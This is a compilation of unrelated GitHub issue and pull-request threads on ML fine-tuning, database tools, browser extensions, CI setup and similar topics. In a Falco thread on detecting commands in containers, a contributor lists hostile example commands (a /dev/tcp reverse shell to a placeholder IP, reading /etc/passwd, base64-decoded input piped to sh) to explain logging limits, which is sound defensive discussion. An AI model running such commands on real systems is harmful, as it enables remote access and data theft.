Question on differences with artidoro/qlora

I notice that there are some differences compared to the artido/qlora repo. Why were the following code left out in this repo?
def find_all_linear_names(args, model):
    cls = bnb.nn.Linear4bit if args.bits == 4 else (bnb.nn.Linear8bitLt if args.bits == 8 else torch.nn.Linear)
    lora_module_names = set()
    for name, module in model.named_modules():
        if isinstance(module, cls):
            names = name.split('.')
            lora_module_names.add(names[0] if len(names) == 1 else names[-1])

    if 'lm_head' in lora_module_names: # needed for 16-bit
        lora_module_names.remove('lm_head')
    return list(lora_module_names)

https://github.com/artidoro/qlora/blob/3da535abdfaa29a2d0757eab0971664ed2cd97e8/qlora.py#L221-L232
and
    for name, module in model.named_modules():
        if isinstance(module, LoraLayer):
            if args.bf16:
                module = module.to(torch.bfloat16)
        if 'norm' in name:
            module = module.to(torch.float32)
        if 'lm_head' in name or 'embed_tokens' in name:
            if hasattr(module, 'weight'):
                if args.bf16 and module.weight.dtype == torch.float32:
                    module = module.to(torch.bfloat16)
    return model

https://github.com/artidoro/qlora/blob/3da535abdfaa29a2d0757eab0971664ed2cd97e8/qlora.py#L334-L344
Instead, you simply set the lora target modules to be ["q_proj", "v_proj"].
Thank you for any clarifications

@gptzerozero Thanks for asking. I was planning to clarify some of the differences in the readme.md but haven't gotten around to yet. This repository is inspired by alpaca-lora and mimics some of its features or limitations. One of the future goals is to implement linear modules if there is enough demand for it. However, this repository is already a good resource for anyone who wants to experiment with different LLMs and get the most out of the consumer hardware.


"Edit Table" menu item sometimes opens "Edit Data" view instead

I couldn't find any other information or issues with this behaviour, apologies if I missed it.
System information:

Operating system (distribution) and version: MacBook Pro 2012 with macOS Mojave
DBeaver version: <IP_ADDRESS>903251041
Java version: 11.0.1 2018-10-16 LTS
Additional extensions: none

Connection specification:

Database name and version: PostgreSQL 9.5.15 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.2 20140120 (Red Hat 4.8.2-16), 64-bit
Driver name: PostgreSQL JDBC Driver
Do you use tunnels or proxies (SSH, SOCKS, etc)? No

Describe the problem you're observing:
When my active view/window is showing me the data of a table through either "edit table" or an SQL script and then right click on a different table in the Database Navigator selecting "Edit Table", I get a new view/window open up which is of the new table but in edit data mode and not edit table mode.
Steps to reproduce, if exist:

have no other views/windows open
open a table through the database navigator by right clicking and selecting "edit data" or open a new sql script
open a different table through the database navigator by right clicking and selecting "edit table"
new view/window opens in "edit data" mode instead of "edit table" mode

Include any warning/errors/backtraces from the logs
No errors, just unexpected behaviour.

Similar problem for me - trying to open "new view" and "new table"  is open.
Using DBeaver <IP_ADDRESS>904071344 on Ubuntu mate
connecting to SQLite  with sqlite-jdbc-<IP_ADDRESS>.jar driver
but on PostgreSQL it works well for me

I couldn't find any other information or issues with this behaviour, apologies if I missed it.
System information:
* Operating system (distribution) and version: MacBook Pro 2012 with macOS Mojave

* DBeaver version: <IP_ADDRESS>903251041

* Java version: 11.0.1 2018-10-16 LTS

* Additional extensions: none

Connection specification:
* Database name and version: PostgreSQL 9.5.15 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.2 20140120 (Red Hat 4.8.2-16), 64-bit

* Driver name: PostgreSQL JDBC Driver

* Do you use tunnels or proxies (SSH, SOCKS, etc)? No

Describe the problem you're observing:
When my active view/window is showing me the data of a table through either "edit table" or an SQL script and then right click on a different table in the Database Navigator selecting "Edit Table", I get a new view/window open up which is of the new table but in edit data mode and not edit table mode.
Steps to reproduce, if exist:
* have no other views/windows open

* open a table through the database navigator by right clicking and selecting "edit data" or open a new sql script

* open a different table through the database navigator by right clicking and selecting "edit table"

* new view/window opens in "edit data" mode instead of "edit table" mode

Include any warning/errors/backtraces from the logs
No errors, just unexpected behaviour.

@JenChampagne , cannot reproduce issue for now - if it is still actual for you - feel free to reopen the ticket.
@ShiloHo issue fixed in scope of #4962


Changed colours to be consistent with PatternFly's palette

resolve #91

Look goo to me. Thanks @mrizzi


Exclude non-essential files

This way the users of this package doesn't have to download non-essential files which aren't necessary for the package to function. This will exclude files used for development such as screenshots, spec, .travis.yml, etc.

@vinkla brilliant! Thank you.


Migration of Kubesimplify website from github pages to Fermyon cloud using wasm

Points to be covered:

Why wasm?
what we did
wasm module compile
spin static-fileserver
configure spin.toml
Challenge with performance
remedel steps use of CDN

Fermyon cloud and Spin config
AWS cloudfront

@saiyam1814 should we cover the detail or just the overview of the migration?


Describe all in-programm commands in Wiki with pictures

This should all go into an in-app help system (#65). Kind of, as an in-depth read (linked from the main help screens) for users that want to dive deeper.


Disable logging for cached fonts

Currently, the plugin will write a line to the log every time it serves a font - even if it will be fetched from the file cache. This feels a bit verbose in my opinion. I'd like to suggest only logging the first time a webfont file is fetched from its origin, and maybe introduce debug logging with more specific log messages.
Would you accept a PR that achieves this?

Thanks for raising this issue @Radiergummi!
That line should be just a flash and it should clear the line after 500ms.
Anyway, I've moved the flashLine() call after the cache check, so it should be called only if download starting.
Just released v3.8.0!

I'm running Vite in a container, where the output is appended to a log, thus clearing doesn't work - but it's good to know!
Anyway, that's awesome, thank you for the quick fix!


Implement graph refactoring: merge nodes

Depends https://github.com/liquibase/liquibase/pull/2913


Running SQLite Import Script Removes Overlapping Data Meaning No Changes Take Place

Hi,
When running the import script against my SQLite DB it appeared to make no changes i stepped through the SQL script and can see during the process the data it pulls from "elec_feed_in_tariff_1_high_resolution" is removed from the table "temp.STATS_NEW". As the rest of the script runs though the result ends up being no change to the statistics table in the database.
Unsure what I've done wrong here, the entity I'm trying to update is a template sensor. Which I've previously updated with a input number helper.

It removes the data in STATS_NEW in case the data is already present for that specfic sensor_id in the statistics table.

I can have an in depth look in case you are willing to share your database/script and csv file


Replace "hamburger" icon with a triangle

To the right of the "navigate directories and filter file names" box is a "hamburger" icon (the three horizontal lines).  I know that many websites and apps use this now; I'm not a fan, but that's a personal opinion.
However, that button doesn't actually bring up a pop-up menu (as is done in youtube and firefox, for example).  Instead, it expands a new row in the top portion, displaying checkboxes for "show hidden", "show system", "hide symbolic links".  I suggest that for consistency, the app should use a triangle for this -- that's what the main app uses (for the status messages / console at the bottom of the window).

Done in 8b0441a.


All ChatGPT Web struggle to log in, and Gemini Web struggles to answer.

All ChatGPT Webs in your plugin: Most of the time it failed to log in (even when I keep the ChatGPT page open, like it says in a message as an answer). And when it doesn't fail to log in, it takes really too long before answering.
Gemini Web: Really often it answers in only showing "eng" or by showing a link to a map, without any reasons.
Otherwise, I love your extension. Claude Web and Bing Web work perfectly, most of the time.

OpenAI frequently alters their web verification methods and applies varied approaches for different accounts, causing this extension to often become ineffective and necessitate strategy updates. Beginning with v2.5.7, I have used Claude.ai as the default API mode because it has very good stability and excellent performance.

Got This when trying to use bing....care to share how u manager to use It?
Erro:
InvalidRequest: 061+8=0x22

OpenAI frequently alters their web verification methods and applies varied approaches for different accounts, causing this extension to often become ineffective and necessitate strategy updates. Beginning with v2.5.7, I have used Claude.ai as the default API mode because it has very good stability and excellent performance.

Still, there must be a way to fix that log-in problem. It is not normal that 80% of the time I need to "retry" 4-5 times before it logs in any ChatGPT Web modules. :/ And the rare times it works right away, then the problem manifests itself again after one or two follow-up questions.

Using the official API directly is the best solution 😅

Then one needs to pay to use it. Right?  :(

Using the official API directly is the best solution 😅

Then one needs to pay to use it. Right? :(

I see your point. Yes, using the official API requires payment, but it offers a stable and efficient service. Quality services and technology need resources to keep improving, and these payments support the development of better AI models. The good news is that OpenAI's API is very affordable—whether you're using GPT-4o or GPT-4o-mini, most users might not even spend two dollars a month. In the long run, this small investment can save you time and avoid the frustration of system issues.
If saving time and effort is vital, the paid API offers a more efficient experience. Alternatively, you could explore other projects that turn AI services into APIs, which you can set up locally for ChatGPTBox. If time isn't a big concern, manually copying content to the free version of ChatGPT web UI is always an option. Or, consider using ChatGPT to contribute to the project and help improve the tools together.


Version 4.3.0

[x] Redo Websocket support with Tornado to address https://github.com/isaackogan/TikTokLive/issues/50  (https://github.com/isaackogan/TikTokLive/commit/e159b3657aef349aba7ad263e7e8515de44ff480)
[x] Clean up code (https://github.com/isaackogan/TikTokLive/commit/e159b3657aef349aba7ad263e7e8515de44ff480)
[x] Update Documentation (https://github.com/isaackogan/TikTokLive/commit/981cc0f1bed062d8a687a36ac1db72cf8c100927)

There are no breaking changes at this time.
Upgrade with pip install TikTokLive --upgrade

See release: https://github.com/isaackogan/TikTokLive/releases/tag/v4.3.0


Using "Click to go back' on cluster visualization

Upon clicking on your current workstation on your profile, you get correctly redirected to the page showing you clusters. After that, if you click on a profile and then use the "Click to go back" arrow, the clusters do not show up correctly but instead show the raw data of the users currently logged in. The bug happens with Google Chrome on Ubuntu 22.04.1 LTS. I did not try to reproduce the bug on other OS or other browser.

What browser are you using

I forgot to mention it in the original post, I edited it now.
I am using Google Chrome on Ubuntu 22.04.1 LTS

Hi there, sorry for the late response. I'm unable to reproduce this issue locally. Possibly it's a bug in the Intranet that is not caused by the extension.
I'm assuming the JSON data in your screenshot is from the clusters.json endpoint? The extension never requests this data. Could you check if you experience this bug also with the extension disabled?

I was able to reproduce this issue, and solution above solves it.


[REQUEST] Ada-Lovelace support

Are there plans to support ada-lovelace architecture in the future?
We tested DeepSpeed on L4 and 4090, which are on the ada-lovelace architecture, and it sporadically creates faulty outputs that otherwise would be fine on an Ampere architecture GPU like RTX A6000.

@orbisAI, thanks for your question. Unfortunately, we don't have access to L4 or 4090 and so unable to debug issues. If you are able to share logs or stack traces, perhaps we can collaborate to resolve the issues.

Closing this as stale for now, @orbisAI - let us know if you are able to share a stacktrace and we can try to help.


ASA Chapter 1 and 2 ready for testing, though still in draft

Docs Build status updates of commit ae54a8c:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

:x:Error

Details

[Error] Cannot sync git repo to specified state. Please make sure the pull request is mergeable. Details: Git merge results in conflict, repository remote url: https://github.com/MicrosoftDocs/mixed-reality, working directory: W:\vezb-s, target branch: MRLearningASA, target branch commit: 3f31488e0bde53b49f6ab987132cdbd9048c1217, source commit: ae54a8c3487103fc3e4ba1e40daaa67dc5b4f2f8.

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Docs Build status updates of commit 27f10f3:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

mixed-reality-docs/images/Module2chapter1step3im.PNG
:white_check_mark:Succeeded
View

mixed-reality-docs/images/Module2chapter1step4im.PNG
:white_check_mark:Succeeded
View

mixed-reality-docs/images/Module2chapter1step5aim.PNG
:white_check_mark:Succeeded
View

mixed-reality-docs/images/Module2chapter1step5bim.PNG
:white_check_mark:Succeeded
View

mixed-reality-docs/images/Module2chapter1step5cim.PNG
:white_check_mark:Succeeded
View

mixed-reality-docs/images/Module2chapter1step6aim.PNG
:white_check_mark:Succeeded
View

mixed-reality-docs/images/module2chapter1step7im.PNG
:white_check_mark:Succeeded
View

mixed-reality-docs/images/module2chapter1step8im.PNG
:white_check_mark:Succeeded
View

mixed-reality-docs/mrlearning-asa-ch1.md
:white_check_mark:Succeeded

mixed-reality-docs/mrlearning-asa-ch2.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Discord's double input on my account editing in user settings

please direct this to the theme repo https://github.com/joe27g/Discord-Theme :p


question about the finetune

is the finetune need each layer？ could I used for some layers finetune once？
is codebook quantized method is slower than AWQ?
when I inference，it is successful when max_new_tokens=512， but failed when max_new_tokens=2048

Hi @LiMa-cas,

I'm not sure I fully understand you. In the code, we have both block fine-tuning and global fine-tuning. You can do just block fine-tuning, which fine-tunes each layer once, but the results will likely be worse compared to doing global fine-tuning on top of it.

If you’re referring to the quantization phase, yes, it is slower than AWQ or GPTQ (please see this link for more details on quantization time). However, you only need to perform quantization once, and afterward, you can reuse your quantized model during inference as often as you like (please see inference details for more information on inference time).

Can you please post the error you get when using max_new_tokens=2048? Also, how much VRAM do you have? Are you running into an out-of-memory error?

Thanks very much. I might not have expressed myself clearly last time.

why block fine-tuning is worse than global  fine-tuning?
the inference time instead of quantization is much slower than AWQ in GPU (A6000,50G)，maybe because the codebook？
it’s on A6000,50G, when I using max_new_tokens=2048，After loading the model, the memory usage keeps increasing up to 40G and decreasing down to 8G continuously and could not run successfullly ； but it is successful on max_new_tokens=512;

@LiMa-cas

As discussed in the paper, global fine-tuning is a more expressive (and more expensive) finetuning. One optimizes the target loss directly instead of per-block L2 loss, which is correlated with performance but related to it in a complicated way.
AWQ and any other scalar quantization is likely to be faster than AQLM since weight dequantization is simpler. AQLM doesn't offer superior inference speed to scalar quantization, the main value proposition is better performance at extreme compression (2 and below bits), where scalar quantization methods (GPTQ, AWQ) yield gibberish text.

Thanks a lot！

Hi， when I use pv-tuning for AWQ model，firstly I need to

but I encountered a bug：

could u help me？I used --load_dtype float16 instead

Hi, @LiMa-cas.
Sorry for the delayed reply.
The issue seems to be with dataset loading. We have not encountered such an error. Probably it is due to the internet connection.
Does it reproduce on another launch of the script?


Update the Design

The above image shows the basic design of the CIT. You are requested to enhance the design
File you will be changing:
https://github.com/locus-ioe/CIT-MAP/blob/7f0a0f1a31834a24c8d9a9f4b6576cc9d8456160/src/pages/Index.tsx#L57C6-L59C12

@P-stha12  Yesma tyo Children in Tehcnology ko place ma kasto design baanaoone. Design Team sanga consult garera drop gardeu hai design


Is there a way to get integrals by basis functions?

Hi, I am trying to implement libcint in a certain old quantum chemistry program which has limited support for integrals (Lmax=2).
As I understand from the example file, libcint calculates blocks of integrals by shell (that is, the all integrals resulting from the combination of the i-th shell with the j-th shell). However my program requires the integrals according to the basis functions (that is, the integral of the i-th basis function with the j-th basis function). Is there any built-in way in libcint to obtain the integrals by basis function?

After my question, I was curious to see how PySCF deals with this issue. I'm checking out now the code in pyscf/gto/moleintor.py. Maybe there is some clue there to what I should do.

I got the answer. PySCF transforms the 1e-integrals from shell-based to AO-based (by basis function) through the GTOint2c function in pyscf/lib/gto/fill_int2c.c. It seems it is not built-in in libcint, it is a part of PySCF. And unfortunately, it is written in C (I don't know C, just Python and Fortran).

Although libcint calculates integrals shell by shell, the integrals returned by libcint is always in AO order. For example, if you required overlap intergrals between N AOs, and they belong to K shells, the integrals returned has shape (N,N). There's no shell-based integral actually.
If you calculate integrals batch by batch, you may need to have a map from shell to AO index before calling libcint and tell libcint on which range of shells you want to compute integrals. Then map the returned AO integrals to your desired indices. That's easy.


Trigger alert whenever there is any manual command executed inside a container

/kind support
Hi,
I have an requirement to generate alert whenever manual command gets executed inside a container.
Tried giving so many regex combinations in the rule condition to acheive this. But that didnt trigger any alert.

rule: shell_in_container
desc: notice shell activity within a container
condition: >
container.id != host and
proc.cmdline contains "\n"
output: >
shell in a container
(user=%user.name container_id=%container.id container_name=%container.name
shell=%proc.name parent=%proc.pname source_ip=%fd.rip  cmdline=%proc.cmdline)
priority: WARNING

Is there any custom condition we can use to trigger alert whenever there is any manual command executed inside a container

@hjampala: There is not a label identifying the kind of this issue.
Please specify it either using /kind <group> or manually from the side menu.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

Not able to apply a label to the issue created. Please help with apply support label.

Expectation is to get an alert whenever we hit enter / new line char inside a container.
But there is no alert generated, no error is seen but not working as expected.
Installed falco drivers on the ubuntu vm. falco version is as follows:
vmauser@ubuntuvm52:~$ falco --version
Falco version: 0.33.1
Libs version:  0.9.2
Plugin API:    2.0.0
Driver:
API version:    2.0.0
Schema version: 2.0.0
Default driver: 3.0.1+driver
Tried capturing  all the commands executed in bash/sh shell of a container by using proc.pname  in the condition as shown below.
This is capturing almost all the commands. Observed the commands like cd, echo are not generating any alert. Is there any specific reason for the same ?
Also the requirement is to generate an alert even if some arbitrary commands are executed inside a container.
Ex: Requirement is to get an alert even for the below command executed in the container.
vmauser@ubuntuvm52:~/falco$ dfasdfasdf
dfasdfasdf: command not found
vmauser@ubuntuvm52:~/falco$
- rule: shell_in_container
  desc: notice shell activity within a container
  condition: >
    container.id != host and
    evt.type = execve and
    (proc.pname = bash or
    proc.pname = sh) and
    proc.cmdline != bash

  output: >
    (user=%user.name  command=%proc.cmdline timestamp=%evt.datetime.s container_id=%container.id container_name=%container.name pod_name=%k8s.pod.name proc_name=%proc.name proc_pname=%proc.pname res=%evt.res)
  priority: informational

Alert generated for reference:
06:24:16.286686339: Informational (user=root  command=ls -lrht timestamp=2023-01-04 06:24:16 container_id=d6900bc54e26 container_name=k8s_nginx_nginx_default_e7d77691-2413-4b4e-a14f-c214d5660c04_0 pod_name=nginx proc_name=ls proc_pname=bash res=SUCCESS)

Hi @hjampala, I don't have a specific answer to your question at the moment, but I can tell you that both cd and echo are  shell built-in commands. This means that the shell, instead of forking and executing a new executable like usual, directly handles the command. Think about it: when you issue cd you need to change the directory of the shell process itself, so changing directory in a child would be ineffective. That's why is the shell process that needs to call the chdir syscall itself. Same goes with echo and a write to stdout (put it simply). So what I wanted to say is that you will never have information about echo and cd this way, because there is nothing that is actually execveed.

@hjampala what you describe is something I have been thinking a lot. The dilemma between syscalls logging and associated process cmd args versus keystroke type of command logging.
Basically a common misconception is "what you type into your terminal is what would be logged as cmdline" in tools like Falco that are based on syscalls events -> not exactly true, because as Lorenzo perfectly described the shell itself interprets the input and most often "destroys" your command or doesn't even cause a new execve in the case of shell built-ins.
More examples:
[1]
Typed into terminal: bash -i >& /dev/tcp/<ip>/1337 0>&1
Logged as cmd args in execve call: bash -i
[2]
Typed into terminal: while read -r line; do echo "$line"; done < /etc/passwd;
Nothing logged as cmdargs as also shell-built-in BUT Falco can log the open* syscalls so you would get a log that the file was opened if you monitor that file.
[3]
Typed into terminal: ALL_PROXY=socks5://<IP_ADDRESS>:9999 curl https://<domain>
ENV variables, even setting or unsetting -> nothing logged as well, instead getting only curl https://<domain>
[4]
Typed into terminal: `echo 'BLABLBABLABLA' | base64 --decode | sh
Destroyed by bash interpreter into 3 distinct execve's like, for example
(1) sh
(2) base64 --decode
(3) python -c  exec('BLABLA'.decode('base64'))

UNLESS your command gets passed with bash -c then all args or original typed commands get logged similar how a keystroke logger would do, see maybe also this issue https://github.com/falcosecurity/falco/issues/2259

Lastly few more tips, have you explored the fields %proc.loginshellid and %proc.tty? They are useful to infer interactivity and sessionizations as well as %proc.sid or %proc.vpgid can be useful as well to chunk logs logically together.
https://falco.org/docs/reference/rules/supported-fields/

Issues go stale after 90d of inactivity.
Mark the issue as fresh with /remove-lifecycle stale.
Stale issues rot after an additional 30d of inactivity and eventually close.
If this issue is safe to close now please do so with /close.
Provide feedback via https://github.com/falcosecurity/community.
/lifecycle stale

Stale issues rot after 30d of inactivity.
Mark the issue as fresh with /remove-lifecycle rotten.
Rotten issues close after an additional 30d of inactivity.
If this issue is safe to close now please do so with /close.
Provide feedback via https://github.com/falcosecurity/community.
/lifecycle rotten

Rotten issues close after 30d of inactivity.
Reopen the issue with /reopen.
Mark the issue as fresh with /remove-lifecycle rotten.
Provide feedback via https://github.com/falcosecurity/community.
/close

@poiana: Closing this issue.

In response to this:

Rotten issues close after 30d of inactivity.
Reopen the issue with /reopen.
Mark the issue as fresh with /remove-lifecycle rotten.
Provide feedback via https://github.com/falcosecurity/community.
/close

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

/remove-lifecycle rotten

/reopen

@incertum: Reopened this issue.

In response to this:

/reopen

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

This PR is not directly addressing this issue https://github.com/falcosecurity/libs/pull/1178, still it could be regarded as an attempt to make progress.

Marking this as solved via an approximation for now. Please note Falco is still not a keystroke logger and bash built-ins not causing a newly spawned process are not being logged via a syscalls logging approach in general.
A possible filter expression you could add to your custom rule to only log spawned processes when in a tty from direct executions and not subprocesses from for example scripts could look like the following:
spawned_process and container and proc.tty != 0 and and proc.is_vpgid_leader=true ... [YOUR CUSTOM EXPRESSIONS]

/milestone 0.36.0


implement module header

Description
Implement a module header component in the third theme. So that header component will be displayed with basic information.
Reference: https://www.figma.com/file/rX1jl4pa04VD9itnzneeih/Webiu?node-id=1%3A3
Changes proposed in the pull request

Implement module header component
Implement the story for the component
Create documentation for the component

Screenshots (In case of UI changes):

Types of changes

[x] New feature (non-breaking change which adds functionality)

Checklist:

[x] My code follows the code style of this project.
[x] My change requires a change to the documentation.
[x] I have updated the documentation accordingly.
[x] All new and existing tests have passed and it does not give any unexpected error for the same.

Steps to test

npm i
npm run storybook (story will be displayed in LearningManagementSystem/ModuleHeader )

Resolves https://github.com/scorelab/Webiu/issues/311

@dinithminura can you review the PR please :)


track dependencies to selectively rerender with useMemo

Hey @Lokeh JS dev here, just started learning Clojure. I appreciate your work in integrating JS/react tools. Also saw some tweets comparing reagent/react online that I found useful, and just now read your "when-is-immutability-fast" article.
Regarding your "wrapping all of our components in React.memo" comment in the article, I also had that thought as I'm learning about macros now. Love the idea of taking advantage of Clojure so that we can stop thinking about performance and focus on the UI. The concern seems to be that not every component needs this optimization - but wouldn't it be possible to track dependencies, and only apply the useMemo hook where it's necessary?
JS tools like mobx provide this rendering magic via proxies, but since macros give control over code+data this optimization could be done via react itself without having to add another global statement dependency.
Just started learning Clojure/macros of course, so this is all high level for me still, would be great to hear your thoughts! Thanks

The primary problem is still knowing whether the performance impact of memoizing the calculation is less than the performance impact of running the render function again.
One thing I do have on an alpha branch are some macros that will automatically detect what dependencies to add to the array we give to React's useMemo / useEffect / etc. Something like:
(use-memo
  [foo] ;; <-- normal use, passing in a vector of deps to give to React for memoizing the calculation
  (+ foo 1))

(use-memo
  :auto-deps ;; <-- tells macro to detect and add dependencies in the calculation automatically
  (+ foo 1)) ;; <-- macro will detect that `foo` is used in this and add it to the deps passed to React

Re: mobx. Mobx works similar to Reagent, and the way they are able to optimize renders is by tracking state outside of the render tree. The same thing can be done with hx, but it comes with some drawbacks. The pure React way focuses on keeping state within the render tree and aggressively annotating our components with memo when needed, I don't think hx can get around that yet.

I see, thanks for clarifying.
the biggest use-case imo is trying to use Context API for a state management, since all consuming components render for on any state change, regardless of whether their using the state.
maybe like the use-memo :auto-deps, there can also be a createContext utility for overcoming the above issue.  react-tracked and constate are examples I've been looking at

I've thought about this some more and I like what you're thinking about re: Context.
I think that this should still be opt-in, but can be made much more ergonomic with some syntax sugar.
What I'm currently playing with in my head is annotating expressions with metadata, which the defnc macro could then inspect and expand into a call to use-memo or use-callback. For instance:
(defnc MyComponent []
  (let [state (hooks/useContext global-state-context)
          foo (:foo state)]
    ^:memo [:div foo]))

Which would be expanded to:
(defnc MyComponent []
  (let [state (hooks/useContext global-state-context)
          foo (:foo state)]
    (hooks/useMemo
      (fn [] [:div foo])
      [foo])))


Go back to using explicit node verisons in CI

Fixes #51943
We were using "*" and "lts" assuming that one would be the most recent node release, and the other be LTS. This turns out to be wrong because "*" means "whatever is newest in GHA's cache", not the actual latest.
We could switch to say "current" or "latest", which would ensure we always get the actual current Node version. However, the current setup has another problem; it assumes that there are only two LTS versions out at one time. This isn't accurate; right now, Node 14, 16, and 18 are all LTS, and we are now suddenly not testing Node 14, which is scary.
I don't see a way to solve this, because at some points of the year, there will be two LTS releases, and sometimes, there will be three.
Just go back to explicitly listing the versions we test with. This will make us definitely run on all of our intended targets, but also mean old release branches won't suddenly test on the wrong versions, which is good.
We'll have to remember to update these, but I am personally confident that is fine. I also imagine that we don't want to drop Node 14 anytime soon, because it's the last version with stack restarting in debugging, a feature that many on the team use (including me).

Well, that's disconcerting; our tests fail on Node 19. I guess it's good we didn't get upgraded...?

Okay, so, Node 19 (probably v8) changed the formatting of Dates; instead of just 12:00:00 AM with a space character between them, toLocaleTimeString in en-US now returns a string where the space is \u202F, the narrow non-breaking space. Wow.

Yikes, I guess it's an icu change, not even a node change. This is just a testing bug, so I'll just change the helper to fix the character. This sort of thing could happen to any version of Node, I'm guessing.

node-version: "*" is still used in other parts of .github/workflows/ci.yml. We may want to update/remove all uses of "*" in this PR.

node-version: "*" is still used in other parts of .github/workflows/ci.yml. We may want to update/remove all uses of "*" in this PR.

There's no major need to do this; all of the tasks which don't pin a version of Node don't care about the particular version other than that it's new enough.


Add frr-k8s to the container

Since this container image contains frr already, it feels natural to embed frr-k8s into it

cc @oribon

/retest

/lgtm


Windows install fix

Removed non-essential environment packages to allow a windows install
Also added a small explanation section to the readme for windows users

Tested on Windows 10
Tested on Ubuntu 22.04

Tested on Mac OS 14.5


Allow future firebase versions compatibility with 2.1.x+

Allows firebase versions with semver compatibility to 2.1.0 (e.g. 2.2.x)
ember-cli projects do not need to include emberfire as a bower dependency anymore, everything is included directly as es6 modules.

Seems to be an issue with firebase#2.2.1 :(

closing until 2.2.1 is fixed.


Master high availability

Hi,
I'm trying to find information on master high availability but I can't find any.
So what happens if master is down? Will one of the nodes get promoted?
and if master is down will apps continue to work on nodes?
thanks.

Hi,
If master is down, nodes are still working and all the services fully operational. Only new log and stat entries are not available. Also new deploys are not possible.
To gain HA for master setup we recommend to create MongoDB replica set and setup multiple instances of kontena masters.
This is a question that many have asked, so we need to update our documentation regarding this and provide some example how to setup HA Kontena Master.

Hopefully you can extend kontena master create to specify how many master servers you want.

See #948 re master HA documentation


When a non-english dub exists of an anime, it can still be transcribed with the English model.

Example: If there is only a Japanese audio file then the Japanese audio file is transcribed as English and saved to the eSRT file.
The issue could be solved by checking for multiple streams and by checking for English streams.
This code block expects an error thrown from FFMPEG
https://github.com/Juxsta/whisper_grpc/blob/e5a1690a770a828127fc28217360ce2aee75f2a5/whisper_grpc/transcribe.py#L20-L28
The error should be thrown here
https://github.com/Juxsta/whisper_grpc/blob/e5a1690a770a828127fc28217360ce2aee75f2a5/whisper_grpc/transcribe.py#L35-L43
--Except, I'm pretty sure this library doesn't support English-stream identification
https://github.com/Juxsta/whisper_grpc/blob/e5a1690a770a828127fc28217360ce2aee75f2a5/Pipfile#L11
suggested actions:

[ ] migrate to working(?) library
[ ] properly probe file for English audio streams using language meta-data
[ ] make sure exception is properly thrown

Actually not using python-ffmpeg in that code block. I had an issue with figuring out how to find the English track, but it worked correctly with ffmpeg directly. I believe the language=eng filter should grab the first English audio track, and it'll throw an error otherwise. There could be an issue if the audio track is incorrectly tagged

Oh wait, I think you're correct. I thought I reverted that change to use ffmpeg with subprocess. You're welcome to make that change tho :)


[Improvement][task node] task node includes shell、proceduce、sql、spark、datax、sqoop、flink_stream and so on，those can not select resource file by seraching resources tree

Search before asking

[X] I had searched in the issues and found no similar feature requirement.

Description
Current Problems

There are thousands of resource files and many subdirectories, there are many files in the subdirectory also. When using nodes, we cannot quickly select the resource files we upload through search, and it is more difficult to select the files in the subdirectory. It wastes a lot of time every time you choose.
My Expectations For This Feature

My goal is to filter out resource files and resource files in the secondary directory through search.
Are you willing to submit a PR?

[x] Yes I am willing to submit a PR!

Code of Conduct

[x] I agree to follow this project's Code of Conduct

good job, please make the picture in the English environment.

@davidzollo Hello, I have re-uploaded the screenshots of the areas to be improved, and I have also submitted the code. Please take a review。

@davidzollo I accidentally clicked the “unsigned me” link, I was unintentional, now it's like this，

Can you reassign me as the responsible person? Thanks very much. My improvement code is submitted.


Generating Conformers from SMILES

The README only shows how to generate conformers for molecules in test set. Is there a way to generate conformations for specific input SMILES?

Hi, sorry I didn't provide a good script for this. A solution is you can write your molecule graph into .pkl, in the same format in the provided training/test sets.


Dies with an error when used against an immutable database

https://github.com/simonw/latest-datasette-with-all-plugins/runs/6218531230?check_suite_focus=true
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/datasette_copy_to_memory/__init__.py", line 26, in inner
    await db.execute_write_fn(vacuum_into)
  File "/home/runner/work/latest-datasette-with-all-plugins/latest-datasette-with-all-plugins/datasette/datasette/database.py", line 150, in execute_write_fn
    raise result
  File "/home/runner/work/latest-datasette-with-all-plugins/latest-datasette-with-all-plugins/datasette/datasette/database.py", line 162, in _execute_writes
    conn = self.connect(write=True)
  File "/home/runner/work/latest-datasette-with-all-plugins/latest-datasette-with-all-plugins/datasette/datasette/database.py", line 91, in connect
    assert not (write and not self.is_mutable)
AssertionError

The problem here is that I'm trying to execute this write statement against an immutable database:
https://github.com/simonw/datasette-copy-to-memory/blob/04aa2456dbf27e51c81e9137bfa2328464f598e2/datasette_copy_to_memory/__init__.py#L20-L26
This should work OK, but Datasette reasonably has a guard that prevents calling execute_write_fn() on a database marked as immutable.

It's actually the call to .connect() that fails: https://github.com/simonw/datasette/blob/94a3171b01fde5c52697aeeff052e3ad4bab5391/datasette/database.py#L84-L91
        if self.is_memory:
            return sqlite3.connect(":memory:", uri=True)
        # mode=ro or immutable=1?
        if self.is_mutable:
            qs = "?mode=ro"
        else:
            qs = "?immutable=1"
        assert not (write and not self.is_mutable)

An alternative approach here that might work: connect to a :memory: super-temporary database, then attach the file database with an alias, then run VACUUM _temp INTO ... with the path to the other named in-memory database.
See this comment: https://github.com/simonw/datasette-copy-to-memory/issues/1#issuecomment-1112605715


Ross's note.  How react-oidc inject token from service worker

https://github.com/AxaFrance/react-oidc/blob/89d7ae887a0c0d9fb220b85d18c57791fbe2746d/packages/react/service_worker/OidcServiceWorker.ts#L112-L134

Hi @Risk-taker0501 please ignore this for now.  Nothing for us to work on.
It's a package that we use.  We may need to refer to how it update and inject Bearer token into HTTP request header.
Later on react-datatable2 may need to accept a fetch/axios instance that has been injected with HTTP headers.


Add documentation regarding running custom post-provision tasks

What does this PR do?
It adds a small bit of documentation explaining how one might run custom post-provision tasks
How should this be manually tested?
No need, as this is pure documentation.
Is there a relevant Issue open for this?
Nope! \o/
Who would you like to review this?
cc: @tomassedovic @bogdando @Tlacenka  PTAL

